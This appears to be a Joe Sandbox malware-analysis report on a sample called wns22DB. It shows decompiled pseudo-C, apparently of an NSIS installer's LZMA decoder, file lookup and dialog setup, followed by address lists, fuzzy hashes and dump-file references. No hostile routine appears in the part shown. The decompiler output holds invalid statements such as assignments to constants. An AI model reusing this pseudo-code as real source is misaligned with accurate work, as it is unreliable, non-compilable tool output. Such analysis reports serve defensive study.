							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406af2
0x00406af2
0x00406af7
0x00406b6e
0x00406b75
0x00406b7f
0x0040715e
0x0040715e
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x004071d4
0x004071d4
0x004071da
0x004071da
0x00000000
0x004071af
0x004071af
0x004071b3
0x00407362
0x00000000
0x00407362
0x004071bf
0x004071c6
0x004071ce
0x004071d1
0x00000000
0x004071d1
0x00406af9
0x00406af9
0x00406afd
0x00406b05
0x00406b08
0x00406b0a
0x00406b0d
0x00406b0f
0x00406b14
0x00406b17
0x00406b1e
0x00406b25
0x00406b28
0x00406b33
0x00406b3b
0x00406b3b
0x00406b35
0x00406b35
0x00406b35
0x00406b2a
0x00406b2a
0x00406b2a
0x00406b42
0x00406b60
0x00406b62
0x00406d35
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d44
0x00406d47
0x00406d4a
0x00406d4d
0x00406d53
0x00406d6b
0x00406d6e
0x00406d71
0x00406d74
0x00406d74
0x00406d77
0x00406d7d
0x00406d55
0x00406d55
0x00406d5d
0x00406d62
0x00406d64
0x00406d66
0x00406d66
0x00406d87
0x00406d8a
0x00406d2d
0x00406d33
0x00000000
0x00000000
0x00000000
0x00406d8c
0x00406d08
0x00406d0c
0x00407314
0x00000000
0x00407314
0x00406d12
0x00406d15
0x00406d18
0x00406d1c
0x00406d1f
0x00406d25
0x00406d27
0x00406d27
0x00406d2a
0x00000000
0x00406d2a
0x00406b44
0x00406b44
0x00406b47
0x00406b4d
0x00406b4f
0x00406b4f
0x00406b52
0x00406b55
0x00406b57
0x00406b58
0x00406b5b
0x00406bc8
0x00406bc8
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bd9
0x00406bdc
0x00406bde
0x00406be4
0x00406be7
0x00406bea
0x00406bed
0x00406bf0
0x00406bf6
0x00406c12
0x00406c15
0x00406c18
0x00406c1b
0x00406c22
0x00406c28
0x00406c2c
0x00406bf8
0x00406bf8
0x00406bfc
0x00406c04
0x00406c09
0x00406c0b
0x00406c0d
0x00406c0d
0x00406c36
0x00406c39
0x00406bb0
0x00406bb0
0x00406bb6
0x00406c69
0x00406c6f
0x00000000
0x00000000
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8f
0x00406ca7
0x00406caa
0x00406cad
0x00406cb0
0x00406cb0
0x00406cb3
0x00406cb9
0x00406c91
0x00406c91
0x00406c99
0x00406c9e
0x00406ca0
0x00406ca2
0x00406ca2
0x00406cc3
0x00406cc6
0x00406c44
0x00406c48
0x00407308
0x00000000
0x00407308
0x00406c4e
0x00406c51
0x00406c54
0x00406c58
0x00406c5b
0x00406c61
0x00406c63
0x00406c63
0x00406c66
0x00406c66
0x00406cc6
0x00406ccd
0x00406ccd
0x00406ccd
0x00406cd1
0x00406cd1
0x00406cd4
0x00406cd7
0x00406cdb
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00406e9d
0x00406e9d
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x00406bc2
0x00000000
0x00000000
0x00000000
0x00406c3f
0x00406b8b
0x00406b8f
0x004072fc
0x00407378
0x00407380
0x00407387
0x00407389
0x00407390
0x00407394
0x00407394
0x00406b95
0x00406b98
0x00406b9b
0x00406b9f
0x00406ba2
0x00406ba8
0x00406baa
0x00406baa
0x00406bad
0x00000000
0x00406bad
0x00406c39
0x00406b42
0x00406976
0x00406976
0x0040697f
0x0040738d
0x0040738d
0x00000000
0x0040738d
0x00406985
0x00000000
0x00406990
0x00000000
0x00000000
0x00406999
0x0040699c
0x0040699f
0x004069a3
0x00000000
0x00000000
0x004069a9
0x004069ac
0x004069ae
0x004069af
0x004069b2
0x004069b4
0x004069b5
0x004069b7
0x004069ba
0x004069bf
0x004069c4
0x004069cd
0x004069e0
0x004069e3
0x004069ef
0x00406a17
0x00406a19
0x00406a27
0x00406a27
0x00406a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a1b
0x00406a1b
0x00406a1e
0x00406a1f
0x00406a1f
0x00000000
0x00406a1b
0x004069f5
0x004069fa
0x004069fa
0x00406a03
0x00406a0b
0x00406a0e
0x00000000
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00000000
0x00406a31
0x00406a31
0x00406a35
0x004072e1
0x00000000
0x004072e1
0x00406a3e
0x00406a4e
0x00406a51
0x00406a54
0x00406a54
0x00406a54
0x00406a57
0x00406a5b
0x00000000
0x00000000
0x00406a5d
0x00406a63
0x00406a8d
0x00406a93
0x00406a9a
0x00000000
0x00406a9a
0x00406a69
0x00406a6c
0x00406a71
0x00406a71
0x00406a7c
0x00406a84
0x00406a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406acc
0x00406ad2
0x00406ad5
0x00406ae2
0x00406aea
0x00000000
0x00000000
0x00406aa1
0x00406aa1
0x00406aa5
0x004072f0
0x00000000
0x004072f0
0x00406ab1
0x00406abc
0x00406abc
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00406aca
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d91
0x00406d95
0x00406db3
0x00406db6
0x00406dbd
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dce
0x00406dd5
0x00406dd6
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de1
0x00406de6
0x00000000
0x00406de6
0x00406d97
0x00406d9a
0x00406d9d
0x00406da7
0x00000000
0x00000000
0x00406dfb
0x00406dff
0x00406e22
0x00406e25
0x00406e28
0x00406e32
0x00406e01
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e17
0x00406e1a
0x00406e1a
0x00000000
0x00000000
0x00406e3e
0x00406e42
0x00000000
0x00000000
0x00406e48
0x00406e4c
0x00000000
0x00000000
0x00406e52
0x00406e54
0x00406e58
0x00406e58
0x00406e5b
0x00406e5f
0x00000000
0x00000000
0x00406eaf
0x00406eb3
0x00406eba
0x00406ebd
0x00406ec0
0x00406eca
0x00000000
0x00406eca
0x00406eb5
0x00000000
0x00000000
0x00406ed6
0x00406eda
0x00406ee1
0x00406ee4
0x00406ee7
0x00406edc
0x00406edc
0x00406edc
0x00406eea
0x00406eed
0x00406ef0
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406ef9
0x00406efc
0x00406f03
0x00406f08
0x00000000
0x00000000
0x00406f96
0x00406f96
0x00406f9a
0x00407338
0x00000000
0x00407338
0x00406fa0
0x00406fa3
0x00406fa6
0x00406faa
0x00406fad
0x00406fb3
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb8
0x00406fbb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407019
0x00407019
0x0040701d
0x00407344
0x00000000
0x00407344
0x00407023
0x00407026
0x00407029
0x0040702d
0x00407030
0x00407036
0x00407038
0x00407038
0x00407038
0x0040703b
0x00000000
0x00000000
0x00406de9
0x00406de9
0x00406dec
0x00000000
0x00000000
0x00407128
0x0040712c
0x0040714e
0x00407151
0x0040715b
0x00000000
0x0040715b
0x0040712e
0x00407131
0x00407135
0x00407138
0x00407138
0x0040713b
0x00000000
0x00000000
0x004071e5
0x004071e9
0x00407207
0x00407207
0x00407207
0x0040720e
0x00407215
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x004071eb
0x004071ee
0x004071f1
0x004071f4
0x004071fb
0x0040713f
0x0040713f
0x00407142
0x00000000
0x00000000
0x004072d6
0x004072d9
0x00000000
0x00000000
0x00406f10
0x00406f12
0x00406f19
0x00406f1a
0x00406f1c
0x00406f1f
0x00000000
0x00000000
0x00406f27
0x00406f2a
0x00406f2d
0x00406f2f
0x00406f31
0x00406f31
0x00406f32
0x00406f35
0x00406f3c
0x00406f3f
0x00406f4d
0x00000000
0x00000000
0x00407223
0x00407223
0x00407226
0x0040722d
0x00000000
0x00000000
0x00407232
0x00407232
0x00407236
0x0040736e
0x00000000
0x0040736e
0x0040723c
0x0040723f
0x00407242
0x00407246
0x00407249
0x0040724f
0x00407251
0x00407251
0x00407251
0x00407254
0x00407257
0x00407257
0x00407257
0x00407257
0x0040725a
0x0040725a
0x0040725e
0x004072be
0x004072c1
0x004072c6
0x004072c7
0x004072c9
0x004072cb
0x004072ce
0x00000000
0x004072ce
0x00407260
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x0040729a
0x0040729d
0x004072a0
0x004072a3
0x004072a7
0x004072a9
0x004072a9
0x004072aa
0x004072ad
0x00407283
0x00407283
0x0040728b
0x00407290
0x00407292
0x00407295
0x00407295
0x004072b0
0x004072b7
0x00000000
0x004072b9
0x00000000
0x004072b9
0x00000000
0x00406f55
0x00406f58
0x00406f8e
0x004070be
0x004070be
0x004070be
0x004070be
0x004070c1
0x004070c1
0x004070c4
0x004070c6
0x00407350
0x00000000
0x00407350
0x004070cc
0x004070cf
0x00000000
0x00000000
0x004070d5
0x004070d9
0x004070dc
0x004070dc
0x004070dc
0x00000000
0x004070dc
0x00406f5a
0x00406f5c
0x00406f5e
0x00406f60
0x00406f63
0x00406f64
0x00406f66
0x00406f68
0x00406f6b
0x00406f6e
0x00406f84
0x00406f89
0x00406fc1
0x00406fc1
0x00406fc5
0x00406ff1
0x00406ff3
0x00406ffa
0x00406ffd
0x00407000
0x00407000
0x00407005
0x00407005
0x00407007
0x0040700a
0x00407011
0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e62
0x00406e62
0x00406e66
0x0040732c
0x00000000
0x0040732c
0x00406e6c
0x00406e6f
0x00406e72
0x00406e75
0x00406e77
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e98
0x00406e9b
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00000000
0x00407123
0x00407121
0x00407356
0x00000000
0x00000000
0x00406985

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040672B(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x45e778); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x45e778;
			}

0x00406736
0x0040673f
0x00000000
0x0040674c
0x00406742
0x00000000

APIs

FindFirstFileW.KERNELBASE(004D5000,0045E778,0045A730,00405E0E,0045A730,0045A730,00000000,0045A730,0045A730,004D5000,?,746AF560,00405B1A,?,004D5000,746AF560), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xE, xrefs: 0040672C

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xE
API String ID: 2295610775-407097786
Opcode ID: c38ed24b0f8540a8630b6e30e0d29a5f0a32ff0f94a31cb594348fc3b8955e5f
Instruction ID: fc51c24eb8738f718e6fd544cb5c99b56e4f1c2878dc56694a5fb172fd41157c
Opcode Fuzzy Hash: c38ed24b0f8540a8630b6e30e0d29a5f0a32ff0f94a31cb594348fc3b8955e5f
Instruction Fuzzy Hash: 83D012315150205BD2011738AD4C85B7A589F153367218B37B866F61E0C7348C62869C

Uniqueness

Uniqueness Score: -1.00%

Function 00403AD8 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403AD8(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				signed short _t73;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x470254;
				_t22 = E004067C2(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x446728;
					 *0x4d1000 = 0x30;
					 *0x4d1002 = 0x78;
					 *0x4d1004 = 0;
					E004062B6(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x446728, 0);
					__eflags =  *0x446728;
					if(__eflags == 0) {
						E004062B6(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x446728, 0);
					}
					lstrcatW(0x4d1000, _t76);
				} else {
					_t73 =  *_t22(); // executed
					E0040632F(0x4d1000, _t73 & 0x0000ffff);
				}
				E00403DAE(_t78, _t90);
				 *0x4702e0 =  *0x47025c & 0x00000020;
				 *0x4702fc = 0x10000;
				if(E00405DC5(_t90, 0x4c5000) != 0) {
					L16:
					if(E00405DC5(_t98, 0x4c5000) == 0) {
						E0040640A(_t76, 0, _t82, 0x4c5000,  *((intOrPtr*)(_t82 + 0x118))); // executed
					}
					_t30 = LoadImageW( *0x470240, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x468228 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403DAE(_t78, __eflags);
							__eflags =  *0x470300;
							if( *0x470300 != 0) {
								_t33 = E00405523(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x46820c;
								if( *0x46820c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x446708, 5);
							_t39 = E00406752("RichEd20");
							__eflags = _t39;
							if(_t39 == 0) {
								E00406752("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x4681e0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x4681e0);
								 *0x468204 = _t87;
								RegisterClassW(0x4681e0);
							}
							_t44 = DialogBoxParamW( *0x470240,  *0x468220 + 0x00000069 & 0x0000ffff, 0, E00403E86, 0);
							E00403A28(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x470240;
						 *0x4681e4 = E00401000;
						 *0x4681f0 =  *0x470240;
						 *0x4681f4 = _t30;
						 *0x468204 = 0x40a3b4;
						if(RegisterClassW(0x4681e0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x446708 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x470240, 0);
						goto L21;
					}
				} else {
